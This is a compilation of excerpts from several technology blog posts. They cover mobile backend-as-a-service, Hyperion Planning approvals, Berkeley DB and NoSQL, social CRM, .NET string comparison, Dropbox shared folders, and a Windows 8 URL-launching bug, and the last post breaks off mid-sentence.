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  • Cloud MBaaS : The Next Big Thing in Enterprise Mobility

    - by shiju
    In this blog post, I will take a look at Cloud Mobile Backend as a Service (MBaaS) and how we can leverage Cloud based Mobile Backend as a Service for building enterprise mobile apps. Today, mobile apps are incredibly significant in both consumer and enterprise space and the demand for the mobile apps is unbelievably increasing in day to day business. An enterprise can’t survive in business without a proper mobility strategy. A better mobility strategy and faster delivery of your mobile apps will give you an extra mileage for your business and IT strategy. So organizations and mobile developers are looking for different strategy for meeting this demand and adopting different development strategy for their mobile apps. Some developers are adopting hybrid mobile app development platforms, for delivering their products for multiple platforms, for fast time-to-market. Others are adopting a Mobile enterprise application platform (MEAP) such as Kony for their enterprise mobile apps for fast time-to-market and better business integration. The Challenges of Enterprise Mobility The real challenge of enterprise mobile apps, is not about creating the front-end environment or developing front-end for multiple platforms. The most important thing of enterprise mobile apps is to expose your enterprise data to mobile devices where the real pain is your business data might be residing in lot of different systems including legacy systems, ERP systems etc., and these systems will be deployed with lot of security restrictions. Exposing your data from the on-premises servers, is not a easy thing for most of the business organizations. Many organizations are spending too much time for their front-end development strategy, but they are really lacking for building a strategy on their back-end for exposing the business data to mobile apps. So building a REST services layer and mobile back-end services, on the top of legacy systems and existing middleware systems, is the key part of most of the enterprise mobile apps, where multiple mobile platforms can easily consume these REST services and other mobile back-end services for building mobile apps. For some mobile apps, we can’t predict its user base, especially for products where customers can gradually increase at any time. And for today’s mobile apps, faster time-to-market is very critical so that spending too much time for mobile app’s scalability, will not be worth. The real power of Cloud is the agility and on-demand scalability, where we can scale-up and scale-down our applications very easily. It would be great if we could use the power of Cloud to mobile apps. So using Cloud for mobile apps is a natural fit, where we can use Cloud as the storage for mobile apps and hosting mechanism for mobile back-end services, where we can enjoy the full power of Cloud with greater level of on-demand scalability and operational agility. So Cloud based Mobile Backend as a Service is great choice for building enterprise mobile apps, where enterprises can enjoy the massive scalability power of their mobile apps, provided by public cloud vendors such as Microsoft Windows Azure. Mobile Backend as a Service (MBaaS) We have discussed the key challenges of enterprise mobile apps and how we can leverage Cloud for hosting mobile backend services. MBaaS is a set of cloud-based, server-side mobile services for multiple mobile platforms and HTML5 platform, which can be used as a backend for your mobile apps with the scalability power of Cloud. The information below provides the key features of a typical MBaaS platform: Cloud based storage for your application data. Automatic REST API services on the application data, for CRUD operations. Native push notification services with massive scalability power. User management services for authenticate users. User authentication via Social accounts such as Facebook, Google, Microsoft, and Twitter. Scheduler services for periodically sending data to mobile devices. Native SDKs for multiple mobile platforms such as Windows Phone and Windows Store, Android, Apple iOS, and HTML5, for easily accessing the mobile services from mobile apps, with better security.  Typically, a MBaaS platform will provide native SDKs for multiple mobile platforms so that we can easily consume the server-side mobile services. MBaaS based REST APIs can use for integrating to enterprise backend systems. We can use the same mobile services for multiple platform so hat we can reuse the application logic to multiple mobile platforms. Public cloud vendors are building the mobile services on the top of their PaaS offerings. Windows Azure Mobile Services is a great platform for a MBaaS offering that is leveraging Windows Azure Cloud platform’s PaaS capabilities. Hybrid mobile development platform Titanium provides their own MBaaS services. LoopBack is a new MBaaS service provided by Node.js consulting firm StrongLoop, which can be hosted on multiple cloud platforms and also for on-premises servers. The Challenges of MBaaS Solutions If you are building your mobile apps with a new data storage, it will be very easy, since there is not any integration challenges you have to face. But most of the use cases, you have to extract your application data in which stored in on-premises servers which might be under VPNs and firewalls. So exposing these data to your MBaaS solution with a proper security would be a big challenge. The capability of your MBaaS vendor is very important as you have to interact with your legacy systems for many enterprise mobile apps. So you should be very careful about choosing for MBaaS vendor. At the same time, you should have a proper strategy for mobilizing your application data which stored in on-premises legacy systems, where your solution architecture and strategy is more important than platforms and tools.  Windows Azure Mobile Services Windows Azure Mobile Services is an MBaaS offerings from Windows Azure cloud platform. IMHO, Microsoft Windows Azure is the best PaaS platform in the Cloud space. Windows Azure Mobile Services extends the PaaS capabilities of Windows Azure, to mobile devices, which can be used as a cloud backend for your mobile apps, which will provide global availability and reach for your mobile apps. Windows Azure Mobile Services provides storage services, user management with social network integration, push notification services and scheduler services and provides native SDKs for all major mobile platforms and HTML5. In Windows Azure Mobile Services, you can write server-side scripts in Node.js where you can enjoy the full power of Node.js including the use of NPM modules for your server-side scripts. In the previous section, we had discussed some challenges of MBaaS solutions. You can leverage Windows Azure Cloud platform for solving many challenges regarding with enterprise mobility. The entire Windows Azure platform can play a key role for working as the backend for your mobile apps where you can leverage the entire Windows Azure platform for your mobile apps. With Windows Azure, you can easily connect to your on-premises systems which is a key thing for mobile backend solutions. Another key point is that Windows Azure provides better integration with services like Active Directory, which makes Windows Azure as the de facto platform for enterprise mobility, for enterprises, who have been leveraging Microsoft ecosystem for their application and IT infrastructure. Windows Azure Mobile Services  is going to next evolution where you can expect some exciting features in near future. One area, where Windows Azure Mobile Services should definitely need an improvement, is about the default storage mechanism in which currently it is depends on SQL Server. IMHO, developers should be able to choose multiple default storage option when creating a new mobile service instance. Let’s say, there should be a different storage providers such as SQL Server storage provider and Table storage provider where developers should be able to choose their choice of storage provider when creating a new mobile services project. I have been used Windows Azure and Windows Azure Mobile Services as the backend for production apps for mobile, where it performed very well. MBaaS Over MEAP Recently, many larger enterprises has been adopted Mobile enterprise application platform (MEAP) for their mobile apps. I haven’t worked on any production MEAP solution, but I heard that developers are really struggling with MEAP in different way. The learning curve for a proprietary MEAP platform is very high. I am completely against for using larger proprietary ecosystem for mobile apps. For enterprise mobile apps, I highly recommend to use native iOS/Android/Windows Phone or HTML5  for front-end with a cloud hosted MBaaS solution as the middleware. A MBaaS service can be consumed from multiple mobile apps where REST APIs are using to integrating with enterprise backend systems. Enterprise mobility should start with exposing REST APIs on the enterprise backend systems and these REST APIs can host on Cloud where we can enjoy the power of Cloud for our services. If you are having REST APIs for your enterprise data, then you can easily build mobile frontends for multiple platforms.   You can follow me on Twitter @shijucv

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  • The new workflow management of Oracle´s Hyperion Planning: Define more details with Planning Unit Hierarchies and Promotional Paths

    - by Alexandra Georgescu
    After having been almost unchanged for several years, starting with the 11.1.2 release of Oracle´s Hyperion Planning the Process Management has not only got a new name: “Approvals” now is offering the possibility to further split Planning Units (comprised of a unique Scenario-Version-Entity combination) into more detailed combinations along additional secondary dimensions, a so called Planning Unit Hierarchy, and also to pre-define a path of planners, reviewers and approvers, called Promotional Path. I´d like to introduce you to changes and enhancements in this new process management and arouse your curiosity for checking out more details on it. One reason of using the former process management in Planning was to limit data entry rights to one person at a time based on the assignment of a planning unit. So the lowest level of granularity for this assignment was, for a given Scenario-Version combination, the individual entity. Even if in many cases one person wasn´t responsible for all data being entered into that entity, but for only part of it, it was not possible to split the ownership along another additional dimension, for example by assigning ownership to different accounts at the same time. By defining a so called Planning Unit Hierarchy (PUH) in Approvals this gap is now closed. Complementing new Shared Services roles for Planning have been created in order to manage set up and use of Approvals: The Approvals Administrator consisting of the following roles: Approvals Ownership Assigner, who assigns owners and reviewers to planning units for which Write access is assigned (including Planner responsibilities). Approvals Supervisor, who stops and starts planning units and takes any action on planning units for which Write access is assigned. Approvals Process Designer, who can modify planning unit hierarchy secondary dimensions and entity members for which Write access is assigned, can also modify scenarios and versions that are assigned to planning unit hierarchies and can edit validation rules on data forms for which access is assigned. (this includes as well Planner and Ownership Assigner responsibilities) Set up of a Planning Unit Hierarchy is done under the Administration menu, by selecting Approvals, then Planning Unit Hierarchy. Here you create new PUH´s or edit existing ones. The following window displays: After providing a name and an optional description, a pre-selection of entities can be made for which the PUH will be defined. Available options are: All, which pre-selects all entities to be included for the definitions on the subsequent tabs None, manual entity selections will be made subsequently Custom, which offers the selection for an ancestor and the relative generations, that should be included for further definitions. Finally a pattern needs to be selected, which will determine the general flow of ownership: Free-form, uses the flow/assignment of ownerships according to Planning releases prior to 11.1.2 In Bottom-up, data input is done at the leaf member level. Ownership follows the hierarchy of approval along the entity dimension, including refinements using a secondary dimension in the PUH, amended by defined additional reviewers in the promotional path. Distributed, uses data input at the leaf level, while ownership starts at the top level and then is distributed down the organizational hierarchy (entities). After ownership reaches the lower levels, budgets are submitted back to the top through the approval process. Proceeding to the next step, now a secondary dimension and the respective members from that dimension might be selected, in order to create more detailed combinations underneath each entity. After selecting the Dimension and a Parent Member, the definition of a Relative Generation below this member assists in populating the field for Selected Members, while the Count column shows the number of selected members. For refining this list, you might click on the icon right beside the selected member field and use the check-boxes in the appearing list for deselecting members. -------------------------------------------------------------------------------------------------------- TIP: In order to reduce maintenance of the PUH due to changes in the dimensions included (members added, moved or removed) you should consider to dynamically link those dimensions in the PUH with the dimension hierarchies in the planning application. For secondary dimensions this is done using the check-boxes in the Auto Include column. For the primary dimension, the respective selection criteria is applied by right-clicking the name of an entity activated as planning unit, then selecting an item of the shown list of include or exclude options (children, descendants, etc.). Anyway in order to apply dimension changes impacting the PUH a synchronization must be run. If this is really necessary or not is shown on the first screen after selecting from the menu Administration, then Approvals, then Planning Unit Hierarchy: under Synchronized you find the statuses Yes, No or Locked, where the last one indicates, that another user is just changing or synchronizing the PUH. Select one of the not synchronized PUH´s (status No) and click the Synchronize option in order to execute. -------------------------------------------------------------------------------------------------------- In the next step owners and reviewers are assigned to the PUH. Using the icons with the magnifying glass right besides the columns for Owner and Reviewer the respective assignments can be made in the ordermthat you want them to review the planning unit. While it is possible to assign only one owner per entity or combination of entity+ member of the secondary dimension, the selection for reviewers might consist of more than one person. The complete Promotional Path, including the defined owners and reviewers for the entity parents, can be shown by clicking the icon. In addition optional users might be defined for being notified about promotions for a planning unit. -------------------------------------------------------------------------------------------------------- TIP: Reviewers cannot change data, but can only review data according to their data access permissions and reject or promote planning units. -------------------------------------------------------------------------------------------------------- In order to complete your PUH definitions click Finish - this saves the PUH and closes the window. As a final step, before starting the approvals process, you need to assign the PUH to the Scenario-Version combination for which it should be used. From the Administration menu select Approvals, then Scenario and Version Assignment. Expand the PUH in order to see already existing assignments. Under Actions click the add icon and select scenarios and versions to be assigned. If needed, click the remove icon in order to delete entries. After these steps, set up is completed for starting the approvals process. Start, stop and control of the approvals process is now done under the Tools menu, and then Manage Approvals. The new PUH feature is complemented by various additional settings and features; some of them at least should be mentioned here: Export/Import of PUHs: Out of Office agent: Validation Rules changing promotional/approval path if violated (including the use of User-defined Attributes (UDAs)): And various new and helpful reviewer actions with corresponding approval states. About the Author: Bernhard Kinkel started working for Hyperion Solutions as a Presales Consultant and Consultant in 1998 and moved to Hyperion Education Services in 1999. He joined Oracle University in 2007 where he is a Principal Education Consultant. Based on these many years of working with Hyperion products he has detailed product knowledge across several versions. He delivers both classroom and live virtual courses. His areas of expertise are Oracle/Hyperion Essbase, Oracle Hyperion Planning and Hyperion Web Analysis.

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  • Is Berkeley DB a NoSQL solution?

    - by Gregory Burd
    Berkeley DB is a library. To use it to store data you must link the library into your application. You can use most programming languages to access the API, the calls across these APIs generally mimic the Berkeley DB C-API which makes perfect sense because Berkeley DB is written in C. The inspiration for Berkeley DB was the DBM library, a part of the earliest versions of UNIX written by AT&T's Ken Thompson in 1979. DBM was a simple key/value hashtable-based storage library. In the early 1990s as BSD UNIX was transitioning from version 4.3 to 4.4 and retrofitting commercial code owned by AT&T with unencumbered code, it was the future founders of Sleepycat Software who wrote libdb (aka Berkeley DB) as the replacement for DBM. The problem it addressed was fast, reliable local key/value storage. At that time databases almost always lived on a single node, even the most sophisticated databases only had simple fail-over two node solutions. If you had a lot of data to store you would choose between the few commercial RDBMS solutions or to write your own custom solution. Berkeley DB took the headache out of the custom approach. These basic market forces inspired other DBM implementations. There was the "New DBM" (ndbm) and the "GNU DBM" (GDBM) and a few others, but the theme was the same. Even today TokyoCabinet calls itself "a modern implementation of DBM" mimicking, and improving on, something first created over thirty years ago. In the mid-1990s, DBM was the name for what you needed if you were looking for fast, reliable local storage. Fast forward to today. What's changed? Systems are connected over fast, very reliable networks. Disks are cheep, fast, and capable of storing huge amounts of data. CPUs continued to follow Moore's Law, processing power that filled a room in 1990 now fits in your pocket. PCs, servers, and other computers proliferated both in business and the personal markets. In addition to the new hardware entire markets, social systems, and new modes of interpersonal communication moved onto the web and started evolving rapidly. These changes cause a massive explosion of data and a need to analyze and understand that data. Taken together this resulted in an entirely different landscape for database storage, new solutions were needed. A number of novel solutions stepped up and eventually a category called NoSQL emerged. The new market forces inspired the CAP theorem and the heated debate of BASE vs. ACID. But in essence this was simply the market looking at what to trade off to meet these new demands. These new database systems shared many qualities in common. There were designed to address massive amounts of data, millions of requests per second, and scale out across multiple systems. The first large-scale and successful solution was Dynamo, Amazon's distributed key/value database. Dynamo essentially took the next logical step and added a twist. Dynamo was to be the database of record, it would be distributed, data would be partitioned across many nodes, and it would tolerate failure by avoiding single points of failure. Amazon did this because they recognized that the majority of the dynamic content they provided to customers visiting their web store front didn't require the services of an RDBMS. The queries were simple, key/value look-ups or simple range queries with only a few queries that required more complex joins. They set about to use relational technology only in places where it was the best solution for the task, places like accounting and order fulfillment, but not in the myriad of other situations. The success of Dynamo, and it's design, inspired the next generation of Non-SQL, distributed database solutions including Cassandra, Riak and Voldemort. The problem their designers set out to solve was, "reliability at massive scale" so the first focal point was distributed database algorithms. Underneath Dynamo there is a local transactional database; either Berkeley DB, Berkeley DB Java Edition, MySQL or an in-memory key/value data structure. Dynamo was an evolution of local key/value storage onto networks. Cassandra, Riak, and Voldemort all faced similar design decisions and one, Voldemort, choose Berkeley DB Java Edition for it's node-local storage. Riak at first was entirely in-memory, but has recently added write-once, append-only log-based on-disk storage similar type of storage as Berkeley DB except that it is based on a hash table which must reside entirely in-memory rather than a btree which can live in-memory or on disk. Berkeley DB evolved too, we added high availability (HA) and a replication manager that makes it easy to setup replica groups. Berkeley DB's replication doesn't partitioned the data, every node keeps an entire copy of the database. For consistency, there is a single node where writes are committed first - a master - then those changes are delivered to the replica nodes as log records. Applications can choose to wait until all nodes are consistent, or fire and forget allowing Berkeley DB to eventually become consistent. Berkeley DB's HA scales-out quite well for read-intensive applications and also effectively eliminates the central point of failure by allowing replica nodes to be elected (using a PAXOS algorithm) to mastership if the master should fail. This implementation covers a wide variety of use cases. MemcacheDB is a server that implements the Memcache network protocol but uses Berkeley DB for storage and HA to replicate the cache state across all the nodes in the cache group. Google Accounts, the user authentication layer for all Google properties, was until recently running Berkeley DB HA. That scaled to a globally distributed system. That said, most NoSQL solutions try to partition (shard) data across nodes in the replication group and some allow writes as well as reads at any node, Berkeley DB HA does not. So, is Berkeley DB a "NoSQL" solution? Not really, but it certainly is a component of many of the existing NoSQL solutions out there. Forgetting all the noise about how NoSQL solutions are complex distributed databases when you boil them down to a single node you still have to store the data to some form of stable local storage. DBMs solved that problem a long time ago. NoSQL has more to do with the layers on top of the DBM; the distributed, sometimes-consistent, partitioned, scale-out storage that manage key/value or document sets and generally have some form of simple HTTP/REST-style network API. Does Berkeley DB do that? Not really. Is Berkeley DB a "NoSQL" solution today? Nope, but it's the most robust solution on which to build such a system. Re-inventing the node-local data storage isn't easy. A lot of people are starting to come to appreciate the sophisticated features found in Berkeley DB, even mimic them in some cases. Could Berkeley DB grow into a NoSQL solution? Absolutely. Our key/value API could be extended over the net using any of a number of existing network protocols such as memcache or HTTP/REST. We could adapt our node-local data partitioning out over replicated nodes. We even have a nice query language and cost-based query optimizer in our BDB XML product that we could reuse were we to build out a document-based NoSQL-style product. XML and JSON are not so different that we couldn't adapt one to work with the other interchangeably. Without too much effort we could add what's missing, we could jump into this No SQL market withing a single product development cycle. Why isn't Berkeley DB already a NoSQL solution? Why aren't we working on it? Why indeed...

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  • Beyond Chatting: What ‘Social’ Means for CRM

    - by Natalia Rachelson
    Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} A guest post by Steve Diamond, Senior Director, Outbound Product Management, Oracle In a recent post on this blog, my colleague Steve Boese asked three questions related to the widespread popularity and incredibly rapid growth of Facebook, Pinterest, and LinkedIn. Steve then addressed the many applications for collaborative solutions in the area of Human Capital Management. So, in turning to a conversation about Customer Relationship Management (CRM) and Sales Force Automation (SFA), let me ask you one simple question. How many sales people, particularly at business-to-business companies, consistently meet or beat their quotas in their roles by working alone, with no collaboration among fellow sales people, sales executives, employees in product groups, in service, in Legal, third-party partners, etc.? Hello? Is anybody out there? What’s that cricket noise I hear? That’s correct. Nobody! When it comes to Sales, introverts arguably have a distinct disadvantage. While it’s certainly a truism that “success” in most professional endeavors requires working with people, it’s a mandatory success factor in Sales. This fact became abundantly clear to me one early morning in the late 1990s when I joined the former Hyperion Solutions (now part of Oracle) and attended a Sales Award Ceremony. The Head of Sales at that time gave out dozens of awards – none of them to individuals and all of them to TEAMS of individuals. That’s how it works in Sales. Your colleagues help provide you with product intelligence and competitive intelligence. They help you build the best presentations, pitches, and proposals. They help you develop the most killer RFPs. They align you with the best product people to ensure you’re matching the best products for the opportunity and join you in critical meetings. They help knock the socks of your prospects in “bake off” demo’s. They bring in the best partners to either add complementary products to your opportunity or help you implement a solution. They work with you as a collective team. And so how is all this collaboration STILL typically done today? Through email. And yet we all silently or not so silently grimace about email. It’s relatively siloed. It’s painful to search. It’s difficult to align by topic. And it’s nearly impossible to re-trace meaningful and helpful conversations that occurred among a group or a team at some point in history. This is where social networking for Sales comes into play. It’s about PURPOSEFUL social networking versus chattering. What is purposeful social networking? It’s collaboration that’s built around opportunities, accounts, and contacts. It’s collaboration that delivers valuable context – on the target company, and on key competitors – just to name two examples. It’s collaboration that can scale to provide coaching for larger numbers of sales representatives, both for general purposes, and as we’ve largely discussed here, for specific ‘deals.’ And it’s collaboration that allows a team of people to collectively edit and iterate on a document like an RFP or a soon-to-be killer presentation that is maintained in a central repository, with no time wasted searching for it or worrying about version control. But lest we get carried away, let’s remember that collaboration “happens” among sales people whether there is specialized software to support it or not. The human practice of sales has not changed much in the last 80 to 90 years. Collaboration has been a mainstay during this entire time. But what social networking in general, and Oracle Social Networking in particular delivers, is the opportunity for sales teams to dramatically increase their effectiveness and efficiency – to identify and close more high quality and lucrative opportunities more quickly. For most sales organizations, this is how the game is won. To learn more please visit Oracle Social Network and Oracle Fusion Customer Relationship Management on oracle.com Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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  • On StringComparison Values

    - by Jesse
    When you use the .NET Framework’s String.Equals and String.Compare methods do you use an overloStringComparison enumeration value? If not, you should be because the value provided for that StringComparison argument can have a big impact on the results of your string comparison. The StringComparison enumeration defines values that fall into three different major categories: Culture-sensitive comparison using a specific culture, defaulted to the Thread.CurrentThread.CurrentCulture value (StringComparison.CurrentCulture and StringComparison.CurrentCutlureIgnoreCase) Invariant culture comparison (StringComparison.InvariantCulture and StringComparison.InvariantCultureIgnoreCase) Ordinal (byte-by-byte) comparison of  (StringComparison.Ordinal and StringComparison.OrdinalIgnoreCase) There is a lot of great material available that detail the technical ins and outs of these different string comparison approaches. If you’re at all interested in the topic these two MSDN articles are worth a read: Best Practices For Using Strings in the .NET Framework: http://msdn.microsoft.com/en-us/library/dd465121.aspx How To Compare Strings: http://msdn.microsoft.com/en-us/library/cc165449.aspx Those articles cover the technical details of string comparison well enough that I’m not going to reiterate them here other than to say that the upshot is that you typically want to use the culture-sensitive comparison whenever you’re comparing strings that were entered by or will be displayed to users and the ordinal comparison in nearly all other cases. So where does that leave the invariant culture comparisons? The “Best Practices For Using Strings in the .NET Framework” article has the following to say: “On balance, the invariant culture has very few properties that make it useful for comparison. It does comparison in a linguistically relevant manner, which prevents it from guaranteeing full symbolic equivalence, but it is not the choice for display in any culture. One of the few reasons to use StringComparison.InvariantCulture for comparison is to persist ordered data for a cross-culturally identical display. For example, if a large data file that contains a list of sorted identifiers for display accompanies an application, adding to this list would require an insertion with invariant-style sorting.” I don’t know about you, but I feel like that paragraph is a bit lacking. Are there really any “real world” reasons to use the invariant culture comparison? I think the answer to this question is, “yes”, but in order to understand why we should first think about what the invariant culture comparison really does. The invariant culture comparison is really just a culture-sensitive comparison using a special invariant culture (Michael Kaplan has a great post on the history of the invariant culture on his blog: http://blogs.msdn.com/b/michkap/archive/2004/12/29/344136.aspx). This means that the invariant culture comparison will apply the linguistic customs defined by the invariant culture which are guaranteed not to differ between different machines or execution contexts. This sort of consistently does prove useful if you needed to maintain a list of strings that are sorted in a meaningful and consistent way regardless of the user viewing them or the machine on which they are being viewed. Example: Prototype Names Let’s say that you work for a large multi-national toy company with branch offices in 10 different countries. Each year the company would work on 15-25 new toy prototypes each of which is assigned a “code name” while it is under development. Coming up with fun new code names is a big part of the company culture that everyone really enjoys, so to be fair the CEO of the company spent a lot of time coming up with a prototype naming scheme that would be fun for everyone to participate in, fair to all of the different branch locations, and accessible to all members of the organization regardless of the country they were from and the language that they spoke. Each new prototype will get a code name that begins with a letter following the previously created name using the alphabetical order of the Latin/Roman alphabet. Each new year prototype names would start back at “A”. The country that leads the prototype development effort gets to choose the name in their native language. (An appropriate Romanization system will be used for countries where the primary language is not written in the Latin/Roman alphabet. For example, the Pinyin system could be used for Chinese). To avoid repeating names, a list of all current and past prototype names will be maintained on each branch location’s company intranet site. Assuming that maintaining a single pre-sorted list is not feasible among all of the highly distributed intranet implementations, what string comparison method would you use to sort each year’s list of prototype names so that the list is both meaningful and consistent regardless of the country within which the list is being viewed? Sorting the list with a culture-sensitive comparison using the default configured culture on each country’s intranet server the list would probably work most of the time, but subtle differences between cultures could mean that two different people would see a list that was sorted slightly differently. The CEO wants the prototype names to be a unifying aspect of company culture and is adamant that everyone see the the same list sorted in the same order and there’s no way to guarantee a consistent sort across different cultures using the culture-sensitive string comparison rules. The culture-sensitive sort would produce a meaningful list for the specific user viewing it, but it wouldn’t always be consistent between different users. Sorting with the ordinal comparison would certainly be consistent regardless of the user viewing it, but would it be meaningful? Let’s say that the current year’s prototype name list looks like this: Antílope (Spanish) Babouin (French) Cahoun (Czech) Diamond (English) Flosse (German) If you were to sort this list using ordinal rules you’d end up with: Antílope Babouin Diamond Flosse Cahoun This sort is no good because the entry for “C” appears the bottom of the list after “F”. This is because the Czech entry for the letter “C” makes use of a diacritic (accent mark). The ordinal string comparison does a byte-by-byte comparison of the code points that make up each character in the string and the code point for the “C” with the diacritic mark is higher than any letter without a diacritic mark, which pushes that entry to the bottom of the sorted list. The CEO wants each country to be able to create prototype names in their native language, which means we need to allow for names that might begin with letters that have diacritics, so ordinal sorting kills the meaningfulness of the list. As it turns out, this situation is actually well-suited for the invariant culture comparison. The invariant culture accounts for linguistically relevant factors like the use of diacritics but will provide a consistent sort across all machines that perform the sort. Now that we’ve walked through this example, the following line from the “Best Practices For Using Strings in the .NET Framework” makes a lot more sense: One of the few reasons to use StringComparison.InvariantCulture for comparison is to persist ordered data for a cross-culturally identical display That line describes the prototype name example perfectly: we need a way to persist ordered data for a cross-culturally identical display. While this example is 100% made-up, I think it illustrates that there are indeed real-world situations where the invariant culture comparison is useful.

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  • User Guide to Dropbox Shared Folders

    - by Matthew Guay
    Dropbox is an incredibly useful tool for keeping all your files synced between your computers and the cloud.  Here we’re going to look at how you can keep all of your team on the same page with Dropbox shared folders. Creating a Shared Folder Setting up a shared folder in Dropbox is easy.  Add the files you want to share to a folder in Dropbox on your computer, then right-click in the folder, select Dropbox, and then choose Share This Folder.   Alternately, log into your Dropbox account online, click the drop-down menu beside the folder you want to share, and click Share this folder. Now, enter the email addresses of the people you want to share the folder with, and optionally enter a message explaining why you’re sharing the folder. The people you invite will receive an email inviting them to view and join the shared folder.  If they haven’t signed up for Dropbox, they can directly signup; otherwise, they can simply log into their Dropbox account and start adding or editing files. Shared folders have a slightly different icon in your Dropbox.  Notice the shared folder on the left has an icon with 2 people, while the folder on the right that is not shared, shows previews of its contents. See Your Shared Folder’s History Whenever your collaborators with your shared folders add or change files, you will see a tooltip notification telling you what changed. You can also view the changes online.  Log into your Dropbox account in your browser and select the Events tab.  This shows all changes to your Dropbox, but you can view only the changes in your shared folder by selecting its name on the left sidebar. Now you can see all recent changes to your folder, and can also see who added or removed each file.   On the bottom of the page, you can even add a comment that all the collaborators will see. If someone deleted a file you still need, you can restore it by clicking its link in this online history.  Or, you can view any deleted files by right-clicking in your Dropbox folder in Explorer.  Select Dropbox, and then click Show Deleted Files.   Get Notified When a Change is Made You’re not always in front of your computer; you’ve got a life beyond your projects, after all (at least hopefully).  If you really want to stay connected to what’s happening with your project, though, you can easily do that no matter where you are. Your shared Dropbox folder’s history page offers an RSS feed of all changes to the folder.  Click  the Subscribe to this feed hyperlink. Now, in the popup that opens, click “Copy to clipboard” so you can use this RSS feed. You can subscribe to RSS feeds through many web browsers, email clients, dedicated feed readers, and more.  In Firefox, Internet Explorer 7/8, or Opera, you can paste the feed address into your address bar and subscribe to the feed directly in your browser.   However, subscribing to the feed in a desktop application won’t help you much when you’re away from your computer.  One great option is to subscribe in the popular Google Reader.  Then you can check your feed from any browser, on any computer or mobile device. To add your Dropbox feed to Google Reader, log into Google Reader (link below), click Add a subscription on the top left, paste your RSS feed from Dropbox, and click Add.   Now you can see any changes to files or folders in Google Reader. You can even add your feed to your iGoogle homepage.  Click the Add it Now button on the right in the front page of Google Reader to add your feeds to iGoogle.   Now you can see updates on your files from your homepage.  If you’re using a different computer, just login to your Google account to see what’s happening. You can also access your Google Reader feeds from many programs and apps for most major Smartphones including iPhone, Windows Phone, and Blackberry. Receive a Tweet or Text When Changes are Made If you’re a hyper-connected individual, chances are you send and receive tweets on the go.  If so, this might be the best way for you to get notified when changes are made to your Dropbox shared folder.  To do this, first create a new Twitter account to publish your changes through.  If you don’t want the whole world to see your updates, click Settings and set your new Twitter account to Private. Once the new account is created, follow it with your normal Twitter account so you’ll see updates. Now, let’s publish our Dropbox RSS feed to Twitter.  Create an account with Twitterfeed (link below). Once your account is setup, add your feed to it.  Name your feed, and enter your Feed address from Dropbox.  Click Advanced Settings to make your feed work just like you want. In Advanced Settings, change the frequency to “Every 30 mins” to make sure you’re updated on changes as quick as possible.  You can also change other settings if you like. Click “Continue to Step 2”, and then click Twitter under the available services to add your account. Make sure your signed into your new Twitter account, and then click Authenticate Twitter. Allow the application. Now, finally, click Create Service. Whenever a change is made, you will receive a tweet via your new Twitter account.  And since you can receive tweets via text message or many mobile applications, you’ll never be very far away from your Dropbox changes!   Conclusion Dropbox shared folders are a great way to keep your whole team working together on the same files in a project.  And with these handy tricks, you can keep up with your shared files wherever you are! There are a lot of cool things you can do with Dropbox make sure to check out our posts on adding Dropbox to the Windows 7 Start menu, Accessing Dropbox files from Chrome, and Syncing your Pidgin Profile Across Multiple PCs. Links Signup or access your Dropbox account Google Reader Tweet your feed with Twitterfeed Similar Articles Productive Geek Tips How to Add and Manage Shared Folders on Windows Home ServerManage User Accounts in Windows Home ServerAdd "My Dropbox" to Your Windows 7 Start MenuComplete Guide to Networking Windows 7 with XP and VistaMoving Your Personal Data Folders in Windows Vista the Easy Way TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 Office 2010 reviewed in depth by Ed Bott FoxClocks adds World Times in your Statusbar (Firefox) Have Fun Editing Photo Editing with Citrify Outlook Connector Upgrade Error Gadfly is a cool Twitter/Silverlight app Enable DreamScene in Windows 7

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  • Process.Start() and ShellExecute() fails with URLs on Windows 8

    - by Rick Strahl
    Since I installed Windows 8 I've noticed that a number of my applications appear to have problems opening URLs. That is when I click on a link inside of a Windows application, either nothing happens or there's an error that occurs. It's happening both to my own applications and a host of Windows applications I'm running. At first I thought this was an issue with my default browser (Chrome) but after switching the default browser to a few others and experimenting a bit I noticed that the errors occur - oddly enough - only when I run an application as an Administrator. I also tried switching to FireFox and Opera as my default browser and saw exactly the same behavior. The scenario for this is a bit bizarre: Running on Windows 8 Call Process.Start() (or ShellExecute() in Win32 API) with a URL or an HTML file Run 'As Administrator' (works fine under non-elevated user account!) or with UAC off A browser other than Internet Explorer is set as your Default Web Browser Talk about a weird scenario: Something that doesn't work when you run as an Administrator which is supposed to have rights to everything on the system! Instead running under an Admin account - either elevated with a User Account Control prompt or even when running as a full Administrator fails. It appears that this problem does not occur for everyone, but when I looked for a solution to this, I saw quite a few posts in relation to this with no clear resolutions. I have three Windows 8 machines running here in the office and all three of them showed this behavior. Lest you think this is just a programmer's problem - this can affect any software running on your system that needs to run under administrative rights. Try it out Now, in order for this next example to fail, any browser but Internet Explorer has to be 